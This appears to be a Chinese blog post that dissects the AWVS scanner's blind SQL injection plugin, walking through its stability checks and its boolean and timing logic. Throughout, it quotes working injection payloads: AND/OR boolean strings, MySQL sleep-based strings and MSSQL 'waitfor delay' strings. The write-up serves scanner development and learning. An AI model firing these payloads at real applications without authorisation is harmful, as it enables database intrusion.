在上一篇文章中,我们提到了AWVS的几个插件,并对其中的 classXSS, classSQLI等几个插件进行了分析, 接下来的重头戏是对AWVS的盲注插件的分析, 即在 ./PerScheme/Blind_Sql_Injection.script这一插件的分析。
在这个插件中, 可以看到由类 classBlindSQLInj和以下几个函数构成:
classBlindSQLInj.prototype.getOrigValue classBlindSQLInj.prototype.extractTextFromBody classBlindSQLInj.prototype.filterBody classBlindSQLInj.prototype.alert classBlindSQLInj.prototype.request classBlindSQLInj.prototype.checkIfResponseIsStable classBlindSQLInj.prototype.addToConfirmInjectionHistory classBlindSQLInj.prototype.addToConfirmInjectionHistoryTiming classBlindSQLInj.prototype.confirmInjection classBlindSQLInj.prototype.confirmInjectionWithOR classBlindSQLInj.prototype.confirmInjectionWithOR2 classBlindSQLInj.prototype.testInjection classBlindSQLInj.prototype.testInjectionWithOR classBlindSQLInj.prototype.testInjectionWithOR2 classBlindSQLInj.prototype.confirmInjectionOrderBy classBlindSQLInj.prototype.testInjectionOrderBy classBlindSQLInj.prototype.genSleepString classBlindSQLInj.prototype.genBenchmarkSleepString classBlindSQLInj.prototype.testTiming classBlindSQLInj.prototype.testBenchmarkTiming classBlindSQLInj.prototype.testOOB classBlindSQLInj.prototype.startTesting
在上一篇中提到,像 alert这种函数,其实是在获取到漏洞信息之后反馈给AWVS的系统用于记录的,所以可以不关注。同时根据对 sqli-labs进行测试后发现,其实AWVS对于 benchmark注入的算法并不算太精确, 这点在后面会提到 ,所以重点放在了 testInjection, testInjectionWithOR, testInjectionWithOR2 等函数中。 接下来还是以入口进行分析,在该插件中,入口是一个for循环,
for (var i=0;i<scheme.inputCount; i++) //scheme类似于参数变量的list或者dict { var tester = new classBlindSQLInj(scheme, i); //取出某一参数,生成一个classBlindSQLInj对象, tester.inputName = scheme.getInputName(i); tester.inputNameLC = tester.inputName.toLowerCase(); tester.startTesting(); //开始测试
所以,重点还是在于classBlindSQLInj这个类中,下面我们开始对这个类进行分析
在上一小节所列出的classBlindSQLInj这个类中函数,我们可以将其分为以下几类:
测试函数,包括testInjection,testOOB,testTiming
确认函数,包括confirmInjection,confirmInjectionWithOR等
功能函数,包括filterBody,extractTextFromBody,checkIfResponseIsStable等函数
下面我们进行功能函数的分析,再进行测试函数的分析,最后是确认函数的分析
extractTextFromBody函数
怎么说呢, 其实开发都应该向AWVS一样,将函数名写的十分的易懂。 这个函数如其名称,是从html文本中提出text, 而减少了关于不同访问的标签属性的变化而带来的影响(猜的)。 具体看一下:
var tokens = htmlTokens(body); //词法分析后,取出所有的标签 var str = ""; var includeText = true; while (token = tokens.nextToken()) { if (token.isTag){ if (token.tagName == 'STYLE') includeText = false; else if (token.tagName == '/STYLE') includeText = true; else if (token.tagName == 'SCRIPT') includeText = false; else if (token.tagName == '/SCRIPT') includeText = true; } else if (token.isText) { if (includeText) str = str + token.raw + "\n"; } } return str;
代码其实很简单了,将body中的标签取出,一旦遇到/STYLE和/SCRIPT的标签,其includeText为TRUE,虽然htmlToken这个函数没有具体的代码,但是应该不难猜测类似于js中的dom树。python中bs4这个库中也相关的函数如:.next_sibling等。一言以敝之, 这个函数是去标签化的过程。
filterBody函数
在了解了上一个函数之后, filterBody也就很好分析了
var ct = this.lastJob.response.headerValue('content-type').toLowerCase(); if (ct == "" || ct.indexOf('html') != -1) body = this.extractTextFromBody(body); body = body.replace(/([0-1]?[0-9]|[2][0-3]):([0-5][0-9])[.|:]([0-9][0-9])/g, ""); body = body.replace(/time\s*[:]\s*\d+\.?\d*/g, ""); if (testValue && this.origValue.length >= 4) { body = body.replaceAll(testValue, ""); } if (testValue && this.origValue && testValue.length > this.origValue.length) { var partialValue = testValue.replaceAll(this.origValue, ""); body = body.replaceAll(partialValue, ""); } if (this.origValue && this.origValue.length >= 4) body = body.replaceAll(this.origValue, ""); return body;
首先判断 Content-Type的响应是否包含了 html字段,其次过滤掉了时间相关的字段值,最后处理原始值与测试值是否需要在响应中去除,最后返回结果。
checkIfResponseIsStable函数
对于时延注入来说, 检测响应是否稳定应该是相对比较重要的功能了。 AWVS的实现方式如下:
对原始参数值分别请求两次, 获取其body1= filterBody(), body2= filterBody() 和响应的时间time1, time2
如果在请求原始参数过程中报错了,直接return。如果请求未出错,则计算在两次原始参数值请求中所消耗的最短时长 shortDuration, 与最长时间 longDuration, 这两个变量首先在类创建的时候是有一个初始值的,如 longDuration=6, shortDuration=2, 在进行这两次原始值的请求后,对变量的更新操作如下:
min_time = min(time1, time2) max_time = max(time1, time2) shortDuration = max(shortDuration, max_time) + 1 longDuration = shortDuration * 2
在AWVS中的responseStable中,分别对responseTimingIsStable,responseIsStable与inputIsStable做了检测,在得到上面shortDuration和longDuration之后,下边是如何就几种Stable的类型做判断的
# 检测responseTimingIsStable if (max_time - min_time > shortDuration): responseTimingIsStable = False; else: responseTimingIsStable = true #检测responseIsStable if body1 != body2: responseIsStable = False return True # 返回True意味着函数`checkResponseIsStable`执行成功,并且在请求参数时未返回错误,并不是说responseIsStable = True, 这一点要注意 else: responseIsStable=True # 检测InputIsStable if len(body1) == 0: inputIsStable = False return True
如果到这一步还没有return,那么继续进行下一步,生成一个随机数来检测响应是否稳定,即生成一个随机数var3,用它当参数来请求获取body3=filterBody()与time3并用time3与min_time和max_time做比较来得出新的min_time和max_time.之后重新进行三种Stable状态的判断
# responseTimingStable if max_time - min_time > shortDuration: responseTimingIsStable=False else: responseTimingIsStable = True if shortDuation > 10: responseTimingIsStable = False # inputIsStable if (body1 == body2 and body1 != body3): inputIsStable=True else: inputIsStable=False
在功能函数讲完之后, 下一步我们先进行确认函数的分析,最后才是测试函数. 先看一下awvs的 confirmInjection函数的定义
confirmInjection函数
classBlindSQLInj.prototype.confirmInjection = function(varIndex, quoteChar, likeInjection, confirmed)
其中
varIndex 表示在本次测试的参数在所有参数中所占的位置
quoteChar 表示特殊的字符 如 ', "等
likeInjection 表示是否是like注入,
confirmed 表示是否已经确认过了
然后声明了几个变量
variation //变量 origValue //原始值 origBody // 原始响应 testBody // 测试值响应 randNum // 一个小于1000的随机数 randString //一个字个字符的随机字符串, 如果变量是数字型的, randString == randNum likeStr // 取值为 `%` 如果是LikeInjection, likeStr就赋值为 %
接着在测试的主体中,将参数值分成了数字与字符两种,对于数字的型的测试流程如下,awvs的测试 payload很多,主要是True/False两种,下面只对每一种举例:
//TEST TRUE paramValue = (origValueAsInt).toString() + "*1*1"; if (!this.request(variation, paramValue)) return false; testBody = this.filterBody(this.lastJob.response.body, paramValue); if (testBody != origBody) { return false; } //TEST FALSE paramValue = (origValueAsInt + 10).toString() + "*5*2*999"; if (!this.request(variation, paramValue)) return false; testBody = this.filterBody(this.lastJob.response.body, paramValue); if (testBody == origBody) { return false; }
将一些调试信息过滤后,其主要的测试步骤如上:对于True的Payload生成条件为: (origValueAsInt).toString()+"*1*1", 如原始值为2, 那么payload为:2*1*1, 然后如果请求没有出错,那么将响应值对于filterBody函数所过滤过出的testBody与origBody相对比,如果两个值不相等,即判定为不存在注入漏洞。
因为如果存在注入漏洞时,2*1*1 的响应应该等于 2。相对应的,测试False的Payload值:(origValueAsInt+10).toString()+"*5*2*999" 对其响应做处理后判断与origBody相等,则判定不存在漏洞,直接return
没错,对于数字的注入只用了这两种方法,惊喜不惊喜,意外不意外,开心不开心?其所有的payload如下:
//TEST TRUE paramValue = "1*1*1*" + origValue; paramValue = (origValueAsInt).toString() + "*1*1"; paramValue = "1*1*1*1*1*" + (origValueAsInt).toString(); //TEST FALSE paramValue = origValue + "*" + randNum.toString() + "*" + (randNum-5).toString() + "*0 paramValue = (origValueAsInt + 10).toString() + "*5*2*999"; paramValue = (origValueAsInt + 10).toString() + "*1*1*0*1*1*" + randNum;
其函数主体是对这六个Payload的乱序请求, 一旦其中一个payload返回的False, 直接返回False。
接下来是测试字符串的payload, 同样还是对于true/false的payload举例两个:
//TEST TRUE paramValue = origValue + likeStr + quoteChar + " AND 3*2*0>=0 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; if (!this.request(variation, paramValue)) return false; testBody = this.filterBody(this.lastJob.response.body, paramValue); if (testBody != origBody) { return false; } // TEST FALSE paramValue = origValue + likeStr + quoteChar + " AND 3*3*9<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; if (!this.request(variation, paramValue)) return false; testBody = this.filterBody(this.lastJob.response.body, paramValue); if (testBody == origBody) { return false; }
同样的,payload的生成规则与数字一样, 就不再重复叙述了, 这里把awvs中的payload列下
//TEST TRUE paramValue = origValue + likeStr + quoteChar + " AND 2*3*8=6*8 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*2>(1*5) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*2*0>=0 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; //TEST FALSE paramValue = origValue + likeStr + quoteChar + " AND 3*3*9<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*3<(2*4) AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 2*3*8=6*9 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
除了数字与字符型的payload,awvs还提供了一种common型,即不管数字或者字符都可以直接用的..检测过程一样,直接上payload:
//TEST TRUE paramValue = origValue + likeStr + quoteChar + " AND 5*4=20 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 7*7>48 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*2*1=6 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; //TEST FALSE paramValue = origValue + likeStr + quoteChar + " AND 5*4=21 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 5*6<26 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr; paramValue = origValue + likeStr + quoteChar + " AND 3*2*0=6 AND " + quoteChar + randString + quoteChar + equalitySign + quoteChar + randString + likeStr;
当然当然,awvs并不只是有and的注入,还包括or的注入,同时因为or的注入也是通过检测testBody是否与origBody相符来判断的,所以老规矩,举例两个然后直接上payload
confirmInjectionWithOR与confirmInjectionWithOR2函数
其测试TRUE与FALSE的条件如下:
// TEST TRUE paramValue = origValue + quoteChar + " OR 2+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; if (!this.request(variation, paramValue)) return false; testBody = this.filterBody(this.lastJob.response.body, paramValue); if (testBody == origBody) { return false; } //TEST FALSE paramValue = origValue + quoteChar + " OR 3+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; if (!this.request(variation, paramValue)) return false; testBody = this.filterBody(this.lastJob.response.body, paramValue); if (testBody == trueBody) { return false; }
与上一个小节的confirmInjection一样,通过不同的or条件下testBody与origBody是否一致来判断漏洞的存在与否,其payload如下:
//TEST TRUE paramValue = origValue + quoteChar + " OR 2+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2>(0+5+" + randNum + "-" + randNum + ") or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 2+1-1-1=1 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2*1=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; // TEST FALSE paramValue = origValue + quoteChar + " OR 3*2*0=6 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2=5 AND " + randString + "=" + randString + " or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR " + randString + "=" + randString + " AND 3+1-1-1=1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3*2<(0+5+" + randNum + "-" + randNum + ") or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar; paramValue = origValue + quoteChar + " OR 3+" + randNum + "-" + randNum + "-1=0+0+0+1 or " + quoteChar + randStrLong + quoteChar + "=" + quoteChar;
其函数主体是对上述的payload进行乱序请求,如果某一条未返回False, 则直接返回 False,否则返回True
测试函数
BO!BO!BO! 下面看一下awvs的时延注入检测函数,这一部分需要跨度两个函数,即:testTiming与startTest,其实startTest相当于入口函数了。
testTiming函数
在分析这个函数的时候,首先我们需要进入startTest函数看一下payload相关代码, 同样,因为包含了mysql,mssql等,这里只分析一下mysql的, mssql的相关代码同样是使用了 testTiming的函数, 可以payload来自己分析
if (this.testTiming(i, "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/")) return true; // mysql generic variant if (this.testTiming(i, "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/")) return true;
上边将两条Payload传入了testTiming函数
//payload1 "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/" //payload2 "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/"
这里看到有{SLEEP}标志符,后边会用它来替换成将要休眠的秒数 在函数中首先有四个函数分别是:
stepLongDelay stepZeroDelay stepMidDelay stepVeryLongDelay
这四个函数分别对应休眠秒数为 long, zero, mid, verylong这四个级别的长度的检测方法,而这四个长度是由上文提到的 longDuration与 shortDuration这两个变量相互组合而来的,是简单的加减法,在函数 genSleepString中,不再多叙述。
接下来分别用 lzvm分别代表 long, zero, verylong, mid这四个级别,生成了一个由 lzvm字符排列的序列, 并附加了一个固定的字符串 zzzlz:
var permutations = new Array("lzvm", "lzmv", "lvzm", "lvmz", "lmzv", "lmvz", "vzlm", "vzml", "vlzm", "vlmz", "vmzl", "vmlz", "mzlv", "mzvl", "mlzv", "mlvz", "mvzl", "mvlz"); var permutation = permutations[permIndex] + "zzzlz";
对于这里的每一个字符,调用对应的函数来检测, 这里举 verylong来举例
this.stepVeryLongDelay = function () { var veryLongDuration = (this.shortDuration + this.longDuration); paramValue = origParamValue.replace(/{SLEEP}/g, this.genSleepString("verylong")); paramValue = paramValue.replace(/{ORIGVALUE}/g, this.origValue); paramValue = paramValue.replace(/{RANDSTR}/g, randStr(8)); if (!this.request(variation, paramValue, timeOutSecs*1000, dontEncode)) return false; Time4 = this.lastJob.responseDuration/1000; if (Time4 < (veryLongDuration * 99/100)) return false; return true; }
可以看出实现很简单,替换 {SLEEP}等替代符之后,发送请求判断响应时间与预定时间的大小来对漏洞是否存在返回TRUE/FALSE, 后边还对这四个函数的返回值如time1,time2,time3,time4做了一个简单的比较,举例来说,time1代表 verylong级别,time2代表 mid级别, 那么如果 time1<time2, 表示注入不存在。 其他函数与此相同,不再多叙述。 除此之外,关于mysql的还有 benchmark这种关于时延注入的payload, 但是在awvs中, benchmark不同次数之后与一个固定的秒数相比较, 可能会因为网络的原因而出现误报, 所以本次不进行分析,不过大致的流程与上边的sleep是一样的, 可以自己看一下代码
startTesting函数
看到这里,应该对整个脚本的流程有了一个清楚的认识,我们先看整个函数的代码是怎么样的:
classBlindSQLInj.prototype.startTesting = function() { if (this.origValue == "") { this.origValue = "1"; this.isNumeric = true; } for (var i=0; i<this.variations.count; i++) { if (this.foundVulnOnVariation) break; if (!this.checkIfResponseIsStable(i)) return false; var doBooleanTests = true; var doTimingTests = true; var doTimingTestsMySQL = true; ... // for bounties do more tests even if they have false positives if (bounties) { var doBooleanTests = true; var doTimingTests = true; ... } if (doBooleanTests) { if (this.inputIsStable) { // numeric if (this.isNumeric && this.testInjection(i, '', false)) return true; // single quote if (this.testInjection(i, "'", false)) return true; // double quote if (this.testInjection(i, '"', false)) return true; // single quote, inside like if (this.testInjection(i, "'", true)) return true; // for special named parameters make do the order/group by tests if ((this.inputNameLC.indexOf("order") != -1 || this.inputNameLC.indexOf("group") != -1 || this.inputNameLC.indexOf("sort") != -1) && this.testInjectionOrderBy(i)) return true; } else { if (this.testInjectionWithOR(i, '')) return true; if (this.testInjectionWithOR(i, '', true)) return true; if (this.testInjectionWithOR(i, "'")) return true; if (this.testInjectionWithOR2(i, "'")) return true; if (this.testInjectionWithOR(i, '"')) return true; } } // timing tests if (doTimingTests) { if (this.responseTimingIsStable) { if (doTimingTestsMySQL) { if (this.testTiming(i, "if(now()=sysdate(),sleep({SLEEP}),0)/*'XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR'\"XOR(if(now()=sysdate(),sleep({SLEEP}),0))OR\"*/")) return true; if (this.testTiming(i, "(select(0)from(select(sleep({SLEEP})))v)/*'+(select(0)from(select(sleep({SLEEP})))v)+'\"+(select(0)from(select(sleep({SLEEP})))v)+\"*/")) return true; if (doTimingTestsMySQLBenchmark) { ... } // the perl jam if (this.scheme.path) { ... } } if (doTimingTestsMSSQL) { if (this.isNumeric && this.testTiming(i, "-1; waitfor delay '0:0:{SLEEP}' -- ")) return true; if (this.isNumeric && this.testTiming(i, "-1); waitfor delay '0:0:{SLEEP}' -- ")) return true; ... if (doTimingTestsMSSQLExtra) { ... } } if (doTimingTestsPostgreSQL) { ... if (doTimingTestsPostgreSQLExtra) { ... } } if (doTimingTestsRails) { // for Rails make some extra checks if (isRails) { ... } } } } if (doOOBTests) { ... } } }
首先是为没有值的参数设置了默认的数字 1作为其值,然后初始化一些变量,接着根据变量的值来判断是否进行mysql, mssql,postsql等数据库的测试,并通过不同的字符如 ', "等来调用前边分析的函数进行时延,布尔等注入类型的测试, 代码相对比较简单,结合前边的几个主要函数,可以对盲注更深入的了解了。
本篇文章主要对awvs的盲注进行了简单的分析,通过分析它的函数代码,可以学习到一款成熟的扫描器是如何就SQL注入这个漏洞进行的分析与利用,同时对于自己扫描器中的也可以增加一款新插件。 另外不知道有没有注入到一点,在盲注这一个脚本中,并没有发现宽字符注入这一个注入点的检测,所以还可以就这几个函数,新增加一个检测宽字符注入的payload, 百尺竿头,更进一步。 另外还有order by的注入也在里边,有兴趣的可以看一下,流程与上边的类似。
对AWVS的一次简单分析
https://paper.seebug.org/461/
mysql-blind sql injection with awvs
https://security.stackexchange.com/questions/137251/blind-sql-injection-with-acunetrix-vulnerability-scanner#160103
awvs blindsqlinjection.script
https://github.com/fnmsd/awvs_script_decode/blob/master/Scripts/PerScheme/Blind_Sql_Injection.script
从AWVS插件到伪代理扫描